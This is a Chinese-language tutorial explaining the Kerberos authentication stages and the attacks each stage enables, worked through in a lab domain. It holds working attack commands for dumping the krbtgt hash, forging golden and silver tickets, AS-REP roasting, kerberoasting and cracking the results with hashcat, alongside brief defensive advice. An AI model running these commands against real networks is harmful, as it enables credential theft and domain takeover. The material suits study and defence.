[数据结构与算法]Kerberos协议及其漏洞

前言

krbtgt 用户，该用户是在创建域时系统自动创建的一个账号，其作用是密钥发行中心的服务账号，其密码是系统随机生成的，无法正常登陆主机。

域控(server08):192.168.3.142
server08：192.168.3.68

AS-REQ

客户端向KDC的AS认证服务请求TGT认证权证。TGT是KDC的AS认证服务发放的

AS-REQ：当域内某个用户试图访问域中的某个服务，于是输入用户名和密码，本机的Kerberos服务会向KDC的AS认证服务发送一个AS-REQ认证请求。该请求包中包含： 请求的用户名、客户端主机名、加密类型 和 Authenticator(用户NTLM Hash加密的时间戳)以及一些其他信息。

AS-REQ阶段产生的攻击方式

hash传递

在AS-REQ阶段，是用用户密码Hash加密的Authenticator，所以也就造成了hash传递

只适用于域环境，并且目标主机需要安装 KB2871997补丁 PTK。

域内用户枚举

AS-REQ 的 cname 值，当用户不存在时，返回包提示错误，所以造成了改攻击方式。user.txt不需要加上@0day.org，也可以使用udp

密码喷洒

并且当用户名存在，密码正确和错误时，返回包也不一样，所以可以进行用户名密码爆破。这种针对所有用户的自动密码猜测通常是为了避免帐户被锁定，因为针对同一个用户的连续密码猜测会导致帐户被锁定。所以只有对所有用户同时执行特定的密码登录尝试，才能增加破解的概率，消除帐户被锁定的概率

针对明文：

针对ntlm hash：

AS-REP

AS-REP：当KDC接收到请求之后，通过AD活动目录查询得到该用户的密码Hash，用该密码Hash对请求包的Authenticator进行解密，如果解密成功，则证明请求者提供的密码正确，而且需要时间戳范围在五分钟内，且不是重放，于是预认证成功。KAS成功认证对方的身份之后，发送响应包给客户端。响应包中主要包括：krbtgt用户的NTLM Hash加密后的TGT认购权证(即ticket这部分) 和 用户NTLM Hash加密的Login Session key(即最外层 enc-part 这部分) 以及一些其他信息。该Login Session Key的作用是用于确保客户端和KDC下阶段之间通信安全。最后TGT认购权证、加密的Lgoin Session Key、时间戳 和 PAC等信息会发送给客户端。PAC中包含用户的SID，用户所在的组等一些信息。

在enc-part里面最重要的字段是Login session key，作为下阶段的认证密钥。
AS-REP中最核心的东西就是 Login session-key 和 加密的ticket。正常我们用工具生成的凭据是 .ccache 和 .kirbi 后缀的，用mimikatz，kekeo，rubeus生成的凭据是以 .kirbi 后缀的，impacket 生成的凭据的后缀是 .ccache 。两种票据主要包含的都是Login session-key 和 加密的 ticket，因此可以相互转化。

AS-REP阶段产生的攻击方式

黄金票据

在 AS-REP 阶段，由于返回的 TGT 认购权证是由 krbtgt 用户的密码Hash加密的，因此如果我们拥有 krbtgt 的 hash 就可以自己制作一个TGT认购权证，这就造成了黄金票据攻击

伪造黄金票据的前提：

• 要伪造的域用户(这里我们一般填写域管理员账户)
• 域名
• 域的SID值(就是域成员SID值去掉最后的)
• krbtgt账号的哈希值或AES-256值

使用mimikatz

先获取krbtgt hash：

在域控执行

mimikatz.exe "lsadump::dcsync /domain:0day.org /user:krbtgt"

得到如下信息：

sid：S-1-5-21-1812960810-2335050734-3517558805
ntlm hash：36f9d9e6d98ecf8307baf4f46ef842a2
aes256：dbc55f9f925de5a482d3bf5ede7d0d46d4b121c01bdd9d06be4aed367212d3f9

伪造用户administrator执行(aes256)

mimikatz "kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805
/aes256:dbc55f9f925de5a482d3bf5ede7d0d46d4b121c01bdd9d06be4aed367212d3f9 /user:administrator
/ticket:gold.kirbi"

伪造用户administrator执行(krbtgt hash)

mimikatz "kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805
/krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /user:administrator /ticket:gold.kirbi"

生成文件gold.kirbi

导入Golden Ticket，执行命令：

kerberos::ptt C:\Users\jack.0DAY\Desktop\gold.kirbi

获得域控权限

注意这里格式只能是 主机名.域名 的形式，而不能写ip。

使用impacket

这里使用kali，不在域内只需要把dns改为域控即可。

先生成票据administrator.ccache python3 ticketer.py -domain-sid S-1-5-21-1812960810-2335050734-3517558805 -nthash 36f9d9e6d98ecf8307baf4f46ef842a2 -domain 0day.org administrator

导入票据

export KRB5CCNAME=administrator.ccache

然后在访问域控

python3 smbexec.py -no-pass -k OWA2010SP3.0day.org

AS-REP Roasting

在AS-REP阶段，最外层的 enc-part 是用用户密码 Hash 加密的。对于域用户，如果设置了选项” Do not require Kerberos preauthentication”，此时向域控制器的 88 端口发送 AS_REQ 请求，对收到的AS_REP内容(enc-part底下的ciper，因为这部分是使用用户 hash 加密的 Login Session Key，我们通过进行离线爆破就可以获得用户hash)重新组合，能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式，接下来可以使用hashcat对其破解，最终获得该用户的明文口令，这就造成了 AS-REP Roasting攻击。

默认这个功能是不启用的，如果启用AS-REP会返回用户hash加密的sessionkey-as，这样我们就可以用john离线破解

使用Empire下的powerview.ps1查找域中设置了 “不需要kerberos预身份验证” 的用户

Import-Module .\powerview.ps1
 Get-DomainUser -PreauthNotRequired

使用ASREPRoast.ps1获取AS-REP返回的Hash

Import-Module .\ASREPRoast.ps1
Get-ASREPHash -UserName jack -Domain 0day.org | Out-File -Encoding ASCII hash.txt

修改为hashcat能识别的格式，在$krb5asrep后面添加$23拼接

 hashcat -m 18200 hash.txt pass.txt --force

TGS-REQ

经过上面的步骤，客户端获得了 TGT认购权证 和 Login Session Key。然后用自己的密码NTLM Hash解密Login Session Key得到 原始的Logon Session Key。然后它会在本地缓存此 TGT认购权证 和 原始的Login Session Key。如果现在它需要访问某台服务器的某个服务，它就需要凭借这张TGT认购凭证向KDC购买相应的入场券ST服务票据（Service Ticket）。ST服务票据是通过KDC的另一个服务 TGS（Ticket Granting Service）出售的。在这个阶段，微软引入了两个扩展自协议 S4u2self 和 S4u2Proxy(当委派的时候，才用的到)

TGS-REQ：客户端向KDC购买针对指定服务的ST服务票据请求，该请求主要包含如下的内容：客户端信息、Authenticator(Login Session Key加密的时间戳)、TGT认购权证(padata下ap-req下的ticket) 和 访问的服务名 以及一些其他信息 。

TGS-REP

TGS-REP：TGS接收到请求之后，首先会检查自身是否存在客户端所请求的服务。如果服务存在，则通过 krbtgt 用户的NTLM Hash 解密TGT并得到Login Session Key，然后通过Login Session Key解密Authenticator，如果解密成功，则验证了对方的真实身份，同时还会验证时间戳是否在范围内。并且还会检查TGT中的时间戳是否过期，且原始地址是否和TGT中保存的地址相同。在完成上述的检测后，如果验证通过，则TGS完成了对客户端的认证，会生成一个用Logon Session Key加密后的用于确保客户端-服务器之间通信安全的Service Session Key会话秘钥(也就是最外层enc-part部分)。并且会为该客户端生成ST服务票据。ST服务票据主要包含两方面的内容：客户端用户信息 和 原始Service Session Key，整个ST服务票据用该服务的NTLM Hash进行加密。最终Service Session Key 和 ST服务票据 发送给客户端。(这一步不管用户有没有访问服务的权限，只要TGT正确，就都会返回ST服务票据，这也是kerberoasting能利用的原因，任何一个用户，只要hash正确，就可以请求域内任何一个服务的ST票据)

enc-part：这部分是用请求服务的密码Hash加密的。因此如果我们拥有服务的密码Hash，那么我们就可以自己制作一个ST服务票据，这就造成了白银票据攻击。也正因为该票据是用请求服务的密码Hash加密的，所以当我们得到了ST服务票据，可以尝试爆破enc_part，来得到服务的密码Hash。这也就造成了kerberoast攻击

TGS-REP阶段产生的攻击方式

kerberoast攻击

Kerberoast攻击过程：

1. 攻击者对一个域进行身份验证，然后从域控制器获得一个TGT认购权证 ，该TGT认购权证用于以后的ST服务票据请求
2. 攻击者使用他们的 TGT认购权证 发出ST服务票据请求(TGS-REQ) 获取特定形式（name/host）的servicePrincipalName(SPN)。例如：MSSqlSvc/SQL.domain.com。此SPN在域中应该是唯一的，并且在用户或计算机帐户的servicePrincipalName字段中注册。在服务票证请求(TGS-REQ)过程中，攻击者可以指定它们支持的Kerberos加密类型(RC4_HMACAES256_CTS_HMAC_SHA1_96等等)。
3. 如果攻击者的 TGT 是有效的，则 DC 将从TGT认购权证 中提取信息并填充到ST服务票据中。然后，域控制器查找哪个帐户在ServicedPrincipalName 字段中注册了所请求的 SPN。ST服务票据使用注册了所要求的 SPN的帐户的NTLM哈希进行加密,并使用攻击者和服务帐户共同商定的加密算法。ST服务票据以服务票据回复(TGS-REP)的形式发送回攻击者。
4. 攻击者从 TGS-REP 中提取加密的服务票证。由于服务票证是用链接到请求 SPN的帐户的哈希加密的，所以攻击者可以离线破解这个加密块，恢复帐户的明文密码。

首先是请求服务票据

Rubeus.exe请求

Rubeus.exe kerberoast

Rubeus里面的kerberoast支持对所有用户或者特定用户执行kerberoasting操作，其原理在于先用LDAP查询于内的spn，再通过发送TGS包，然后直接打印出能使用 hashcat 或 john 爆破的Hash。 以下的命令会打印出注册于用户下的所有SPN的服务票据的hashcat格式。

2.powershell请求

#请求服务票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"
#列出服务票据
klist

3.mimikatz请求

请求指定SPN的服务票据

#请求服务票据
kerberos::ask /target:MSSQLSvc/Srv-DB-0day.0day.org:1433 
#列出服务票据
kerberos::list  
#清除所有票据
kerberos::purge

4.Impacket中的GetUserSPNS.py请求

该脚本可以请求注册于用户下的所有SPN的服务票据。使用该脚本需要提供域账号密码才能查询。该脚本直接输出hashcat格式的服务票据，可用hashcat直接爆破。

python3 GetUserSPNs.py -request -dc-ip 192.168.200.143 0day.org/jack

这里输入jack的密码

导出票据

首先是查看

klist
或
mimikatz.exe "kerberos::list"
 
MSF里面
load kiwi
kerberos_ticket_list
或
load kiwi
kiwi_cmd kerberos::list

1.mimikatz导出

mimikatz.exe "kerberos::list /export" "exit"

执行完后，会在mimikatz同目录下导出 后缀为kirbi的票据文件

2.Empire下的Invoke-Kerberoast.ps1

Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat

离线破解服务票据

1.kerberoast中的tgsrepcrack.py

python2 tgsrepcrack.py password.txt xx.kirbi

2.hashcat

将导出的hashcat格式的哈希保存为hash.txt文件，放到hashcat的目录下

hashcat -m  13100  hash.txt  pass.txt

Kerberoast攻击防范

• 确保服务账号密码为强密码(长度、随机性、定期修改)
• 如果攻击者无法将默认的AES256_HMAC加密方式改为RC4_HMAC_MD5，就无法实验 tgsrepcrack.py来破解密码。
• 攻击者可以通过嗅探的方法抓取Kerberos
  TGS票据。因此，如果强制实验AES256_HMAC方式对Kerberos票据进行加密，那么，即使攻击者获取了Kerberos票据，也无法将其破解，从而保证了活动目录的安全性。
• 许多服务账户在内网中被分配了过高的权限，且密码强度较差。攻击者很可能通过破解票据的密码，从域用户权限提升到域管理员权限。因此，应该对服务账户的权限进行适当的配置，并提高密码的强度。
• 在进行日志审计时，可以重点关注ID为4679(请求Kerberos服务票据)的时间。如果有过多的 4769日志，应进一步检查系统中是否存在恶意行为。

白银票据

在TGS-REP阶段，TGS_REP里面的ticket的enc-part是使用服务的hash进行加密的，如果我们拥有服务的hash，就可以给我们自己签发任意用户的TGS票据，这个票据也被称为白银票据。相较于黄金票据，白银票据使用要访问服务的hash，而不是krbtgt的hash，由于生成的是TGS票据，不需要跟域控打交道，但是白银票票据只能访问特定服务。但是要注意的一点是，伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDC PAC签名，则银票将不起作用

要创建白银票据，我们需要知道以下信息：

• 要伪造的域用户(这里我们一般填写域管理员账户)
• 域名
• 域的SID值(就是域成员SID值去掉最后的)
• 目标服务的FQDN
• 可利用的服务
• 服务账号的NTLM哈希

这里使用白银票据伪造CIFS服务，该通常用于Windows主机之间的文件共享。

1.mimikatz获得服务账号的ntlm hash

privilege::Debug
sekurlsa::logonpasswords

得到NTLM为: 2c268a2a643267a4204a6ef6f896446b

2.使用白银票据攻击

kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:OWA2010SP3.0day.org /service:cifs /rc4:2c268a2a643267a4204a6ef6f896446b /user:administrator /ptt

3.查看票据

4.访问域控

防御：
伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDC PAC签名，则银票将不起作用。

白银票据和黄金票据的不同点

访问权限不同：

黄金票据Golden Ticket：伪造TGT认购权证，可以获取任何Kerberos服务权限
白银票据Silver Ticket：伪造ST服务票据，只能访问指定的服务

加密方式不同：

Golden Ticket由krbtgt的Hash加密
Silver Ticket 由服务账号（通常为计算机账户）Hash加密

认证流程不同：

Golden Ticket的利用过程需要访问域控，
而Silver Ticket不需要

PAC

kerberos的流程：

1.用户向KDC发起AS_REQ,请求凭据是用户hash加密的时间戳，KDC使用用户hash进行解密，如果结果正确返回用krbtgt hash加密的TGT票据

2.用户凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求，KDC使用krbtgt hash进行解密，如果结果正确，就返回用服务hash 加密的TGS票据
3.用户拿着TGS票据去请求服务，服务使用自己的hash解密TGS票据。如果解密正确，就允许用户访问。

上面这个流程看起来没错，却忽略一个最重要的因素，那就是用户有没有权限访问该服务，在上面的流程里面，只要用户的hash正确，那么就可以拿到TGT，有了TGT，就可以拿到TGS，有了TGS，就可以访问服务，任何一个用户都可以访问任何服务。也就是说上面的流程解决了”Who am i?”的问题，并没有解决 “What can I do?”的问题。

在Kerberos最初设计的流程里说明了如何证明客户端的真实身份，但是并没有说明客户端是否有权限访问该服务，因为在域中不同权限的用户能够访问的资源是不同的。所以微软为了解决权限这个问题，引入了 PAC (Privilege Attribute Certificate，特权属性证书) 的概念。